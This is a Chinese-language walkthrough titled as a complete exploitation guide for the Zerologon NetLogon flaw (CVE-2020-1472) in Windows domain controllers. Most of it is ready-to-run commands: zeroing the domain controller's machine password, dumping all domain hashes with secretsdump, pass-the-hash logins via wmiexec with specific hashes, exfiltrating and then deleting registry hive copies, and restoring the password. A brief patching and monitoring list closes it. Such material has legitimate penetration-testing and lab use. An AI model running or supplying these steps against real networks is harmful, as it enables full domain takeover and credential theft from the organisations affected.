NetLogon域内提权漏洞CVE-2020-1472
字数 1331 2025-08-11 08:36:00
CVE-2020-1472 NetLogon域内提权漏洞完整利用指南
漏洞概述
CVE-2020-1472 (又称Zerologon) 是Windows域控中一个严重的远程权限提升漏洞,攻击者可通过NetLogon协议建立与域控间易受攻击的安全通道,利用此漏洞获取域管访问权限。
受影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
漏洞利用工具
推荐使用以下工具进行漏洞利用:
- Zerologon测试工具:https://github.com/SecuraBV/CVE-2020-1472
- 完整利用工具包:https://github.com/l1nyuan7/Tools
详细利用步骤
1. 识别域控主机名
net group "domain controllers" /domain
2. 检测漏洞是否存在
proxychains python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21
或
proxychains python3 zerologon_tester.py 域控主机名 域控IP
注意:出现"success"表示存在漏洞。
3. 清空域控凭证
python3 set_empty_pw 目标计算机名 目标IP
或
proxychains python3 set_empty_pw OWA2010CN-GOD 192.168.3.21
警告:此操作可能导致域控脱域,生产环境需谨慎使用!
4. 获取域内HASH
使用Impacket工具包中的secretsdump.py:
python3 secretsdump.py 域/目标计算机名/$@目标IP -just-dc -no-pass
或
proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass
5. HASH传递攻击
proxychains python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
若失败(可能已脱域),尝试去掉域名:
proxychains python3 wmiexec.py administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942
6. 恢复密码(重要)
6.1 备份注册表
reg save HKLM/SYSTEM system.save
reg save HKLM/SAM sam.save
reg save HKLM/SECURITY security.save
6.2 下载注册表备份
lget system.save
lget sam.save
lget security.save
6.3 删除远程备份
del /f system.save
del /f sam.save
del /f security.save
6.4 解析注册表备份
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
关键点:输出中的$MACHINE.ACC:plain_password_hex :后的值为恢复密码所需的值。
7. 恢复原始密码
python3 reinstall_original_pw.py 目标计算机名 目标IP 之前获取的hash
示例:
proxychains python3 reinstall_original_pw.py OWA2010CN-GOD 192.168.3.21 6d3d5fb71d3ea7b5a1f50b59768fe0da9c95f5fdf759d9db80559abac743a77b979677ad7b618ec9373bb49d0acc3708e59540b2e43fc24661e4aca71511f0789018b434c38b9e6c763865c1e308e2e9b63b1ca126c33e197f59ae14c3f0115fcd66fd4a88a5340f0546758f27de9261525a6d008cfe53271bd1d26ffe1af6c6e2ac59a32bb1cdf566ae80e57feabd4504e8a81f35668cce840ec26b3c576ae8177f47aa4477387b8aa438f8bca3f27a0d7044caae90aa9177beac0e8b5f0e9a63d0715b5be4cba5d5ffd5dacef3a32e05c7cbc1dc48f5292eafe27bbdc81376e7a2c713e009b1dd6f7e5ec7ec417d12
8. 验证恢复结果
重复第3步操作,验证密码是否已成功恢复。
注意事项
- 清空凭证操作可能导致域控脱域,影响业务连续性
- 利用完成后务必恢复原始密码
- 建议在测试环境中验证后再在生产环境使用
- 微软已发布补丁,建议及时更新受影响系统
防御措施
- 安装微软官方补丁
- 启用NetLogon安全通道强化
- 监控NetLogon协议异常行为
- 限制域控服务器的网络访问权限